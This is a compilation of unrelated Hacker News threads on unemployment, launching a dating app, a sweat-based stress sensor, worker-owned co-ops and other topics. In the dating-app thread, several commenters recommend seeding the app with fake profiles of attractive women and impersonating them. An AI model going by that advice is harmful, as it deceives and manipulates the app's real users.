4)He thought he had a job as a stocker at K-mart, but on the day he was to start training, he didn't have bus fare, and that was that.

I see multiple things which are "societal problem" in the article.

"lazy kid can't keep a job because of his own personal problems"

Unless you have gone through a long bout of unemployment, where you get rejected on a daily basis, I would say you are not qualified to comment on the effect of such a episode on a persons morale and psychological well-being of this person. What you see as laziness just might be depression.

I am not completely justifying the person in the article. But I tend to view these things through a more compassionate eye after I went through a brief period of unemployment.

edit: Formatting

<comment><USER5> "What you see as laziness just might be depression."

Man, I've been there, and that was exactly what I was feeling when I read the article. The hopelessness. It's a vicious, killing cycle.

Just about everything in this kid's environment and experience was negative. Yes, we can rise above, but it's really hard to see that there's even somewhere to go when you haven't seen it in your life.

Unemployment of 16.3 percent. Does that mean that "they" are lazy? Or are there other more fundamental factors?

<comment><USER3> I'd ask what the other 83.7 percent are doing right, and seek to emulate them rather than just sit on my duff and whine.

edit: maybe I'm predisposed to being 'less compassionate' about stuff like this because I have indirect experience seeing a similar pattern with... close family members. $family_member had all the same or very similar 'chances' as I did in life vis a vis education, upbringing, etc, but instead chose a drug- based lifestyle leeching off parents, friends, etc. Said family member, in their mid 20s, is unemployed, living with parents, indulging in all sorts of recreational chemistry, and is predisposed to whine about 'how unfair' it all is, 'how depressed the job market is', and so forth as the reason they can't find a job, can't keep steady work when they do find one, etc. In this personal, anecdotal case, the problem isn't their environment, it's them. I see similar patterns in the WaPo story: even if your girlfriend breaks up with you, you still get your butt into work the next day. No whining, no excuses. It might not be the Greatest Job Ever (tm), but it's better (IMHO) than sitting around leeching off family.

<comment><USER4> @lwhalen

I am not really disagreeing with you. I have also met a lot of people like this.

I was trying to point out 1) How it has become really hard to work your way out of poverty with an entry level job these days. 2) How a life of constant failure and lack of guidance leads to personality trait which seems to almost predisposed towards failure.

"even if your girlfriend breaks up with you, you still get your butt into work the next day. No whining, no excuses. It might not be the Greatest Job Ever (tm), but it's better (IMHO) than sitting around leeching off family."

This shows a good work ethic in you, a strong sense of values and I agree with it and admire it. But having raised in a tightly-knit family with no financial issues, I wonder how I would have turned out if I had grown up in the a family like the one mentioned in the article.

</comment></comment></comment></comment></comment><comment><USER6> It seems that we have constructed a world of jobs where consistency is the primary value, even though the end goal is just to get some work done.

On the Internet we have constructed systems that accept contributions from people that can be as little or as much as they want to contribute - <USER2> Wikipedia, or newsy sites like Hacker News, or Github. These websites succeed where those that require too much up-front commitment fail. Like Nupedia (or even SourceForge, in the old days, when it was the "go-to" place for open- source development).

Out in the real world we still demand (mostly), mandatory minimum levels of commitment. Or, where work can be casual, it gets paid much less than the "regular" jobs.

There are opportunities for any company that can work out how to make use of those who want to work, at least some of the time, but who are unable or unwilling to commit to 8 hours a day, 5 days a week, 50 weeks a year.

We could blame the contributors of Nupedia for the failure of that website. And we could blame all those open-source programmers who were too lazy to jump through the minimal set of hoops that SourceForge required for contributors, for the demise of that website. But we know that better alternatives exist, which are more tolerant of slackness and lack of commitment from their contributors. So we can see that those older websites were not the best possible way to organise how to get people to contribute their efforts.</comment>


Show HN: We're building a home for subjective programming topics - T-R http://slant.co

<comment><AUTHOR> Hey guys, one of the founders here. Would really love to hear your feedback on the site if you have a moment. Thanks, Stuart.</comment>


Ask HN: How do I make my dating app popular? - <AUTHOR> Me and a friend are going to be developing a dating app for some fun. The development will be difficult but we feel that getting people to actually use it will be even harder.
How does one get the first adopters and get people to stick to it. The app may be well made but who wants to use a social app if there a no or little users?
We just plan to put up a few posters at our Universities, some leaflets at some bar and word of mouth via Facebook.
Apart from that we are clueless? What can HN suggest? <comment><USER2> I once answered the question of our launch strategy for OkCupid on Quora (here: [http://www.quora.com/OkCupid/What-was-OkCupids-launch- strate...](http://www.quora.com/OkCupid/What-was-OkCupids-launch-strategy)). A few things I can add:

1\. You're right in thinking that bootstrapping users will be much harder than coding the site. A dating site requires not just a critical mass of users, but also a critical mass using it in a certain location with enough people that there are internal compatibilities.

2\. We loosely categorized our users into 3 groups. (a) those explicitly interesting in dating. (b) those who would consider it, but who weren't ready to make the decision, and (c) those who would never sign up for our dating features. Our early strategy was to (try to) nail all 3 groups, arguing that there was mobility between b and a, and that group c could still be used to spread around dating-related toys without realizing that's what they were doing. All this led us to personality tests and a bunch of other goofy things that attempted to be viral but could also enhance a profile if converted. On average, 10% of our early users became online daters on our site, and the other 90% were spreading the word in one way or another, but we never heard from them again. As we got bigger, we slowly shifted our message towards the dating side of things, as those "growth hacks" diluted our message.

Of course this is not the only strategy. Consider (1) Tinder, a very simple dating app, which has become a phenomenon. I would say it's hard just to invent this phenonmen, though... And (2) pay dating services, which can collect membership fees and then use the money to market. It's an expensive game which requires a lot of cash and marketing knowledge.

Disclaimer: I left OkCupid a year ago.

<comment><USER3> why did you leave?

[ ] found someone.

[ ] too much ad.

[ ] spent too much time.

[ ] other. Specify ________________.

<comment><USER4> OkCupid was acquired in Feb. 2011 by IAC. So it's not hard to guess why a founder would leave a company 2 years after acquisition.

</comment></comment></comment><comment><USER5> You're building a two-sided marketplace, one of if not the most difficult model to get up and running in the startup world. Kudos for taking on the challenge!

While we're not building a dating app, we are building something that in many ways functions like one, and so we've studied the model a lot. The simplest version of a good marketing strategy we've seen is

1) pick the side of the market which will be hardest to grow organically, but which will drive growth on the other side (hint: in dating, it's the women)

2) pick a region to focus on. The entire US is too large to start. One region, or a smaller country, helps you get started. (Hint: in the US, I would pick a smallish Midwestern region with lots of universities).

3) Figure out a clever, simple marketing plan to drive your selected market in your selected region, and go after them heavily. Obviously I'm over simplifying this step, but it's going to need to be something which quickly grabs the attention of your target market, demonstrates the value of your product, and gets them to become active users quickly. If you're going to make this product work, you should be able to figure something out yourself, as you're the one who knows your product best.

Best of luck!

</comment><comment><USER6> The question is not how you can get users for your app. The question is why would someone want to sign up?

You have to think about competitive advantage. What sets your dating app apart from existing dating sites, already populated with 1000's of profiles?

I don't have a profile on dating sites (happily married), but I can imagine that a big problem for dating sites is people pretending to be different than they really are. That's a problem you could solve, for instance by only allowing profiles that have been referenced by friends/relatives. Heck, you could throw key parties (pun intended) where people could swap their credentials!

Or instead of a traditional dating-app, make a geisha-app. It's not a date, it's company.

Just throwing random ideas out there, but the general idea is either you cater to a niche, or you better have a massive marketing budget to take on the OKCupids of this world.

</comment><comment><USER7> If you are willing to spend some money for an initial burst of users, try advertising on [https://ads.pof.com/](https://ads.pof.com/). Plenty of Fish is one of the largest dating sites and their self serve advertising platform is fantastic. Make a few accounts in various demographics to see what works. (hint, make a targeted landing page to your ad/demographic .. works better than a generic one).

Otherwise, a web property that ranks for certain keywords can still go a very long way. Make a blog dedicated to dating tips and advice. Write posts targeted at people struggling to find dates, or who are not having success with current dating sites. Write about how to use dating sites effectively. How to act on a first date. There's lots of information on the internet already about this, so it doesn't take too much creativity to pool some resources together and make a quick blog post about such topics. At the end of your blog posts, suggest your dating site/app. People who just read your article are filtered to be your target audience and will trust your recommendation about what dating app to join.

</comment><comment><USER8> Assuming dating depends heavily on geographic (location) and even demographic (especially age) properties, you will not need 'just' users, but also within the same geo/demo group (ie same location, same age). You can use this to your advantage by focussing your marketing efforts to one such group. If you take your home town you can use local advertising (ie team up with bars/clubs) and even your own network. You could even think about naming/framing the dating app to the location (ie Boston Student Dating).

This gives you a better chance of success, enables you to test the overal viability and you can learn and improve.

Since you are doing this for fun, you'll probably have reached this goal at that point. To go beyond, you'd have to come up with something to make the thing spread (which by itself will be rather low for a dating app, so you'll need a trick here, or make money from your local users and use that for heavy advertising) or convince investors based on the initial results so you can have yourselves a marketing budget.

</comment><comment><USER9> I'd say you should shift your point of view. You say: you made an app and now you need the community for it. That's the wrong order. In your case, the community is the most important thing, and the app is secondary. So, go and find an existing community and turn it into 'your' community (hard!), or build a new community from scratch by focusing on a narrow class of customers (even harder!). Third alternative: buy a community, if you got enough vc ;-)

</comment><comment><USER10> With so many different dating apps available you will need to differentiate yourselves and show why your app is different (better) than the others. Your plan to guerrilla market at universities and bars is a good idea, but it will not work if you are seen as "just another dating app". If you can show why it is different and/or why it is better that is appealing to your target market the rest will come naturally.

</comment><comment><USER11> As a few other people have said, the only possible way you're going to have a popular dating app is by having a lot of fake users in the beginning.

When Tinder first launched, at least 90% of the profiles I came across were, after a little investigation, very obviously fake. I became suspicious after being "matched" with every single attractive girl I "liked" after having just created a profile. These "girls" had the mysterious ability to travel vast distances in extraordinarily small amounts of time. One second, a girl's location would be 7 miles away, the next, she was 1407 miles away - incredible. If they responded at all to a message, they were vague, short answers that had nothing to do with what I was saying. I also received 10s of the exact same messages from different girls. They weren't trying to get me to click links or buy things. Their sole purpose seemed to be to create the illusion that Tinder was full of gorgeous women who wanted me. After a while of using the app, the fake profiles dropped off, and I seemed to encounter more real people. I thought initially, that this was because they had gotten enough users to show me real people, but I've now noticed that any time I use the app in a new area, I'm flooded with fake profiles and fake messages all over again.

In short, create fake users.

</comment><comment><USER12> The thing is that if you do come up with some new way of getting untold gazillions of people to sign up, what is to say that the people at match.com won't be able take your innovation and get using it too?

For instance, you could have some way of promoting users that had brought more users onto the site, e.g. if Alice gets half a dozen of her friends to sign up then Bob gets to see Alice listed prominently in the search results. The incentive for Alice could run deeper than that, maybe only if she has got her friends to join will she be able to see all of Bob's pictures or learn about his sexual tastes. There could also be advantages for Alice's friends, because Alice introduced them to the site they might get the advantages Alice has for a limited period of time.

As soon as you 'gamify' people will cheat, e.g. in the above example, Alice might create half a dozen accounts, one for each of her various email addresses. Obviously you would need a method to make this not happen, and, if you solved it, you might have a competitive advantage. However, how long would you have this advantage for before some developer at match.com cloned it?

</comment><comment><USER13> 1) For success to happen, you need an app that people like more than the competition. Which requires building that app. Which requires knowing how to program... and having an idea of what will make it better than the competition. Start from the bottom up.

2) [http://platformed.info/](http://platformed.info/)

3) Some ideas:

\- Have the company confirm the pictures on peoples profile (that way you know that the pictures are accurate, not from 5 years ago or of someone else).

\- Have the site compile user data, and recommend 10-20 people for a group date.

\- Make it a dating/matchmaking a side outcome. Maybe make it like reddit. User generated content and discussion + reputation. I would think that that would give users a lot more data as to who they'd be compatible with intellectually. This could also make for quite the social news site, because people would be desperate for reputation (because single people are often desperate to be not single), and thus site usage would be very high.

</comment><comment><USER14> "Build it and they will come" doesn't hack it anymore. You have to find a pain point to solve because yet-another-x-but-new will flop (wasting your time and money). In short:

a) define the problem

b) get a MVP together

c) market the shit out of it

d) iterate on product

e) goto (c)

Either the product will catch on and you'll be sipping sake in SFO or you'll fail (more likely) and drop back to (a).

Good luck!

<comment><USER15> Did you read his OP? He was asking about how to do c).

<comment><USER14> > Me and a friend are going to be developing a dating app for some fun.

I didn't read anything about how the OP would be doing anything novel or new or solving problems. I just saw "we're doing something for fun".

</comment></comment></comment><comment><USER16> I live in India. I know that dating sites / apps don't work in India. People are more conservative here.

Can some one from US/ Europe/ South America throw some light on dating scene in their countries. Do the dating apps / sites like okcupid work well ? Or is there local sites that do better ?.

<comment><USER17> Germany here. My impression is that there are some hotspots (e.g. Berlin) with enough users on OkCupid that using the site actually makes sense. In the rest of the country the user base seems to be relatively small. In areas with US Army presence (e.g. Patch Barracks Stuttgart or Grafenwöhr Training Area) one can find an awful lot of US expats on OkCupid, people who obviously know the site from back home. Locals however seem to prefer the German sites. Which is somewhat sad, I think OkCupid is unique as a mixture between a dating site and a social network, it leads to a more casual tone there. The German sites are mostly focussed on finding partners for longterm relationships, by and large they seem to be not as casual and relaxed as OkCupid (e.g. parship.de).

</comment></comment><comment><USER18> 1\. Create fake profiles of beautiful women in your area™!

2\. Then pretend to be said women.

3\. Profit.

<comment><USER19> Fake it until you make it, it worked for reddit!

Trouble is showing up to a date as a beautiful woman. That would be the biggest challenge for me.

</comment></comment><comment><USER20> Start with answering this - What problem are you trying to solve?

</comment><comment><USER21> one of my friends is really bored with the people he has searched for on one of the big websites... he really feels like he is seeing the same people over and over again.

and,

some of the big sites develop "characters" over time. for whatever reason. okcupid is too "goody goody, perfect people, over-educated" for him.

e.g. the user-generated questions- he interprets as social directives. He resents questions being painted into a corner. he resents their binary nature.

I agree with him mostly. It is clear that what sounded good "allow users to propose their own questions" has grown into a maze of people who claim they "like the taste of beer" or "don't". The result is the people who make it on that site are the ones who endure multiple-choice critiques and that just isn't everybody, man. People date differently.

perhaps even if you had no technical improvements, etc., but you could offer a fresh new user base of people, he would be interested. so if you try to invite people and promise them a fresh beginning - without the inertia of users of the first generation.

Also pay attention to BitCoin. it has two parallel users: miners and buyers n/ payers. Different groups take part in different ways.

<comment><USER22> I once read an interesting article on how OkCupid was doing question weighting wrong because people would mark matching on factual questions (like, "What is the largest of these? A. Elephant B. Whale C. The Moon") as being absolutely vital to get correct. People would then end up with like 90%+ matches with others they would not really get along with, just because of the ridiculous weighting on those questions–it became a matching system more like, "who has answered the same questions as I?"

</comment></comment><comment><USER23> Create a fake profile of Ashton Kutcher in it.

</comment><comment><USER24> Consider making some nice feature that no other service has. For instance, user A may "secretly" mark that he likes user B. When that attraction is reciprocal, it's made known (visible) to both of them.

That's one of the weird ideas I had while studying relational algebra.

<comment><USER25> Hows this different from Tinder?

</comment></comment><comment><USER26> Hey OP,

Please email me at email@example.com. I have exactly what you're looking for but not the development skills. I actually built an MVP last year and gained 2k users in a couple weeks at my local university.

I'd love to chat and see if we could combine forces.

</comment><comment><USER27> Get tons of fake profiles of beautiful women created and keep then active and engaging with other users. Fake it till you make it.

</comment><comment><USER3> 1\. download pictures of female Harvard students using wget and apache index.

2\. livejournal your progress.

3\. tell your friends to look at the pictures.

<comment><USER28> He asked how to make a dating site, not how to start the next facebook.

xD

<comment><USER29> When you point out the joke it makes it infinitely lame for everybody involved. Just let the joke be and laugh at it!

</comment></comment></comment><comment><USER30> Have some easy method for people to block or report others who send inappropriate messages.

</comment><comment><USER31> For once, a Bender reference about blackjack and hookers might actually be relevant. ;)</comment>


Aristotle's tomb found - <AUTHOR> http://www.ekathimerini.com/209017/article/ekathimerini/life/location-of-aristotles-tomb-to-be-revealed-at-thessaloniki-conference-thursday <comment><AUTHOR> More details on the tomb have been announced on Greek news sites. The excavations and research started in 1996 in ancient Stageira in Northern Greece and there is strong evidence this is Aristotle's tomb / memorial.</comment>


New Wearable Sensor Detects Stress Hormone in Sweat - <AUTHOR> https://spectrum.ieee.org/view-from-the-valley/biomedical/diagnostics/new-wearable-sensor-detects-stress-hormone-in-sweat <comment><USER2> Phreakn cool. By coincidence, I could really use this due to an unknown and variable sympathetic NS dysfunction that creates unfathomable general anxiety, essential tremor, vestibular dysfunction. So much so, I cannot, in any way, sleep without a sedative (mirtazapine, and melatonin).

Suspected cause is withdrawl (dyscalibration), neuropathy and/or neuritis of adrenergic or sympathetic systems due to previous serotonin modulator scrip, vortioxetine. Because the anxiety and fight-or-flight response is so hyperactive, I'm on the typical anxiolytics except benzos and buspar. Mirtazapine and propranolol have it almost under control; baclofen and/or hydroxyzine when I'm too stressed, unable to focus or not present... however these worsen tremors. Going to have to up propranolol if tremors get worse, hopefully won't need as much baclofen or hydroxyzine. Vigorous exercise can only handle the equivalent stress as hydroxyzine does on it's own.

<comment><USER3> Sounds awful. I have similar problems myself. I would suggest reading "Nutrient Power" by William J. Walsh.

</comment></comment><comment><USER4> Interesting study. Using cortisol to make a functional template seems like a more promising approach than functionalizing the sensor with an antibody (as in other cortisol sensing literature), especially since they are using an elastometic substrate.

As with most electrochemical sensing studies, this is much closer to proof of concept than manufacturable product. Measuring things on skin in sweat is hard work.

That being said, I'd love a patch to measure my stress levels and hope some day the tech exists to do so.

</comment><comment><USER5> I wonder how long until we can get a sample of this? It says they're trying to miniaturize it and get rid of the battery.

Forget that! Give it to me now! I don't care if it's massive, heavy, and requires constant charging and a belt back battery. I would love this device!

</comment><comment><USER6> I am both optimistic about its application to other hormones and pessimistic given the failure of glucose reading and the discoveries that not even all blood sources are equal apparently. Heck not even all cholesterol is equal and it took time for science to figure that out.

The easy quantification could have interesting implications if it is sufficiently spot-on however.

</comment><comment><USER7> Anyone have an article link? Annoying when the link directly to the journal. I browsed recently published but didn't see it.

<comment><USER8> Should be: [http://advances.sciencemag.org/content/4/7/eaar2904](http://advances.sciencemag.org/content/4/7/eaar2904)

<comment><USER7> Cheers</comment></comment></comment>


Simple DIY masks could help flatten the curve. We should all wear them in public - <AUTHOR> https://www.washingtonpost.com/outlook/2020/03/28/masks-all-coronavirus/ <comment><AUTHOR> Seems to me we should assume we're asymptotic carriers, and then follow WHO's (or CDC's) advice for sick people, which is to wear some sort of mask or bandana.

</comment><comment><USER2> One would hope that this was not the only description in the world on how to save us... it is behind a crappy paywall.</comment>


The Next Generation Internet Search Engine? - <AUTHOR> http://altsearchengines.com/2008/05/26/the-next-generation-internet-search-engine/ <comment><USER2> too bad this just as powerset only searches wikipedia and a little more, cant really tell how good it is then.</comment>


Worker-owned businesses: 'We get paid the same regardless of role' - <AUTHOR> https://www.theguardian.com/business-to-business/2018/feb/23/worker-owned-businesses-we-get-paid-the-same-regardless-of-role <comment><USER5> > We all get paid the same hourly rate regardless of the roles we do.

Good luck retaining any skilled professionals then. One of the most repulsing stories that I got from Soviet Union from my grandparents was about excellent engineers being on the same pay scale with manual labour workers. No matter how much do you put into your skills, the system had standard pay scale that you couldn't break out from.

I'm happy that these days are gone now, and skills and professionalism can be valued by the free market by people competing for them; why, despite pure populism for the lowest common denominator, someone wants to return to something like this, is completely beyond me.

<comment><USER6> > skills and professionalism can be valued by the free market by people > competing for them; why, despite pure populism for the lowest common > denominator, someone wants to return to something like this, is completely > beyond me.

The real determination of where the money goes is by the owners of the business. If one looks over the Forbes 400 richest list, we can see the heirs who drain off so much profit each year from the labor of those who work - <USER2> Kochs, the Waltons, the Johnson family. The Rockefellers fell off the list in the past few years, $2 billion is the individual cutoff and I suppose Forbes doesn't know of any individual in the family worth more that that. But I can assure you if they and their three siblings are worth 1.5 billion each, and their first cousins are all worth 1.5 billion each, they are not out there breaking the bricks.

It's amusing to hear about meritocracy and the rat race for education, skills etc. when these heirs are the people controlling the economy, and causing so many economic and other problems due to its increasing lopsidedness towards them. What are their skills and professionalism that are valued? The money they suck off from those who work is the truest lowest common denominator, rule by parasites. At least Lenin, Stalin and Molotov rose due to their merits, not their birthrights. Russia went from being a country pushed around by the Japanese, with an GDP equivalent to 1917 Brazil, to a superpower sending satellites, men into space, probes to the Moon (the first country to do so). It also had little crime and little poverty.

I am supposed to get into a tizzy about someone with less skills getting the same pay as me, when the money is being sent off to the heirs who do no work? I certainly would prefer that the people actually doing the work alongside me get the money.

<comment><USER7> > we can see the heirs who drain off so much profit each year from the labor > of those who work

If successful people couldn't pass ownership onto their heirs, the value of ownership itself would drop dramatically. If Bud and Sam Walton knew they couldn't pass on their business to their kids, they would either have never done it in the first place or they would structure the business to close out well before they died. Neither of these is good.

Most complaints about rational capital allocation, including this one, are based on a failure to generalize or punch through enough layers of indirection.

<comment><USER8> > If Bud and Sam Walton knew they couldn't pass on their business to their > kids, they would either have never done it in the first place or they would > structure the business to close out well before they died

How confident are you in those conclusions? There are plenty of very rich people who claim that they don't intend to leave much for their heirs.

<comment><USER9> They still can command what happens to their capitals after their death.

Remove this ability, and incentives change dramatically.

</comment></comment></comment></comment></comment><comment><USER10> I'd be interested in the economics of founders selling to their employees from a founder's point of view. It seems like a way to protect a founder's legacy after they exit.

Where does the money come from? Do the employees get a loan and then the money from the loan go to the founder? Does the founder provide a loan to the employees and receive regular payments on the loan? Do the employees have to have cash? Do all employees own equal shares regardless of role of employment length? Do employees buy businesses at the market rate?

<comment><USER11> Employee Stock Options Programs (ESOPs) are the way most conduct this transaction. It's frequently a way for a founder to sell to employees due to relationships/promises, to get a higher valuation than the market offers, or, like with options, to incentivize productivity and retention.

The employees can get a loan with the business as collateral but the founder/s is going to hold a note as well. Assignments of stock are similar to options - customizable but more valuable employees get the lion's share.

<comment><USER12> That's what Bob and Charlee did with Bob's Red Mill when he decided to retire:

[https://www.bobsredmill.com/bobs-way-meet](https://www.bobsredmill.com/bobs- way-meet)

</comment></comment></comment><comment><USER13> German companies are pretty great at finding the balance between corporate profitability and worker interests.

<comment><USER14> In the post-WW II economic "golden age," roughly up through the early 1970s, American manufacturing workers and the corporations they worked for were also both doing well. That fell apart as America went from a net exporter to net importer. I'm unsure if the importer/exporter transition is a _direct cause_ , because a lot of things changed in the 1970s, but that's about the time the party ended.

I wonder if Germany will do better when/if Germany no longer has a substantial export surplus. I hope that it can. It's mathematically impossible for every country to run an export surplus, so "look to Germany" is a useful prescription only if there are _other_ good ways to imitate Germany.

</comment></comment><comment><USER15> I find worker-owned businesses very interesting. Obviously getting paid the same regardless of role may be an obstacle to attracting highly skilled people, but if salaries are competitive and established in function of role and experience, in a transparent way, that could be great.

<comment><USER16> Yea, i wondered the same thing. I like the idea of a worker owned Co-op in general, but it's subject to them actually being functional. I don't see how that could be the case with industries with large productivity/talent gaps, like software. Most of the co-ops I've come into contact with are smallish restaurants or grocery stores, which makes sense: most tasks can be handled by anyone and those that aren't can be judged a lot more effectively.

<comment><USER17> _I don 't see how that could be the case with industries with large productivity/talent gaps, like software._

And yet: [https://github.com/hng/tech- coops#coops](https://github.com/hng/tech-coops#coops)

The gaps problem seems self-correcting; anyone who thinks they are underpaid will leave, and conversely the team will probably push out those badly underperforming. You'll still have gaps, but only among people who don't mind getting paid the same despite them.

<comment><USER18> Thanks for that link.. lots of good resources...

I want to start an MSP (Computer Repair / Maintenance as a Service) + Hosting + Development Business as a worker co-op someday, when I get the free-time and money to do so.

</comment></comment></comment></comment><comment><USER19> There is an excellent book called 'Maverick' about a Brazilian manufacturing company that, while not owned by the workers, gets much closer than almost any other business. I highly recommend that all founders read it

[https://www.amazon.com/Maverick-Success-Behind-Unusual- Workp...](https://www.amazon.com/Maverick-Success-Behind-Unusual- Workplace/dp/0446670553)

<comment><USER20> Very interesting.

The first successful non-hierarchial company that comes to my mind is Valve.

I recall reading that Valve has a higher revenue per employee than any company in the world...

 _Edit_ : profit, not revenue

<comment><USER21> Seems to me the causality works the other way. Industries where companies are formed from a small number of employee who are individualy quasi-millionaries (elite SV talent) are more likely to function well without a heirarchy than industries built on coordinated entry-level manual labor (Walmart).

Also, I don't really get this claim. Valve has ~360 employees with annual revenue under a billion dollars,

[https://en.wikipedia.org/wiki/Valve_Corporation](https://en.wikipedia.org/wiki/Valve_Corporation)

whereas there are ten companies in the S&P 500 with over $3M in annual revenue per employee.

[https://priceonomics.com/which-companies-have-the-highest- re...](https://priceonomics.com/which-companies-have-the-highest-revenue-per/)

Perhaps the comparison is only supposed to be to other tech giants like Apple, which are roughly $1-2M per employee.

<comment><USER20> > Also, I don't really get this claim. Valve has ~360 employees with annual > revenue under a billion dollars,

Looks like I was wrong: Newell claims that Valve has the highest _profit_ per employee.

I'm sure the numbers are not accurate, but that is still a very impressive figure for revenue/employee.

</comment></comment></comment></comment><comment><USER22> I'll recount a short twitter conversation I had with some engineers who wanted to be in a collective, I suggested them all being equal partners, and was promptly blocked...

> My company laid off 17 engineers including me when we tried to unionize. Now > I'm having a hard time finding a job. Any leads for junior-to-mid software > developers in the DC area or remote, send em my way. And please share. > #LanetixUnion #jobsearch - Sara J. Martinez

> Software developers are generally well treated and compensated. What drove > you to attempt unionizing? - Me.

> There should be interviews with Lanetix engineers coming out soon which will > go in depth. For a quick overview, here is what we wrote to management: - > Björn Westergard

> If you're a collective of software engineers worth bargaining with, you > should all form your own consultancy firm, and forget about _that_ "client". > This might be your best, realistic solution. Thank me when you're making 2x, > in nicer conditions and fewer hours... - <USER4>

> This "solution" doesn't scale due to the competitive race to the bottom > dynamics of capitalism. Unions demonstrably do work at scale. Everyone is > "worth bargaining with" for those who don't to serve mammon alone. - Björn > Westergard

> You have limited options as I see it, and you probably need to ask > yourselves what's more important, getting back to work (but apparently not > at Lanetix), or grinding an ideological axe? If you're so egalitarian, make > everyone an equal partner, and start looking for clients. - <USER4> > ([https://twitter.com/aaronchall/status/970717102465323008](https://twitter.com/aaronchall/status/970717102465323008))

Björn promptly blocked me at that point.

> "It is difficult to get a man to understand something, when his salary > depends upon his not understanding it!"

In this case, his non-existent union salary, I suppose...

</comment><comment><USER23> This has been tried multiple times. All of those attempts failed, regardless of the scale. It won't be different this time.

<comment><USER24> [https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)

<comment><USER25> I found the comment to be insightful. I'm trying to find his violation, and I can't really. There are a few things that are close, maybe, but not really.

"political or ideological battle" and "shallow dismissals" seem most plausible, but neither really fits. It's not as if the entirety of his comment was "more dumb leftist shit". There was more substance to his comment.

???

<comment><USER24> It's a shallow dismissal. It makes a grandiose claim without support. More importantly, it doesn't teach us anything. An example or two could have rectified that.

<comment><USER23> Do I need to provide an example that water is wet? But ok, just for you:

Largest scale:

USSR North Korea Cuba Recent entry: Venezuela Recent entry: South Africa

Smaller:

[https://www.economist.com/news/business/21589469-collapse- sp...](https://www.economist.com/news/business/21589469-collapse-spains-fagor- tests-worlds-largest-group-co-operatives-trouble-workers)

Even smaller:

[https://munchies.vice.com/en_us/article/gvkqnm/marxist- vegan...](https://munchies.vice.com/en_us/article/gvkqnm/marxist-vegan- restaurant-in-michigan-closes-for-predictably-marxist-reasons)

<comment><USER24> Maybe an example or two wouldn't have rectified it. Would you please read the site guidelines and abide by them when commenting here?

[https://news.ycombinator.com/newsguidelines.html](https://news.ycombinator.com/newsguidelines.html)</comment></comment></comment></comment></comment></comment>


What Happened When I Switched from Mac to Windows - <AUTHOR> https://www.wired.com/story/rant-switching-from-mac-to-windows/ <comment><USER2> This all looks fine for video editing and stuff. What about Coding? I know only usb-c inputs are a pain in the ass, but I will still choose a mac for coding/programming task.</comment>


Ask HN: Which is an ideal embedded database used for search indexing - <AUTHOR> Need to index string values from a RDB<p>Fast to index (upto million keys per second) <comment><USER2> Sqlite3. And full text indexer</comment>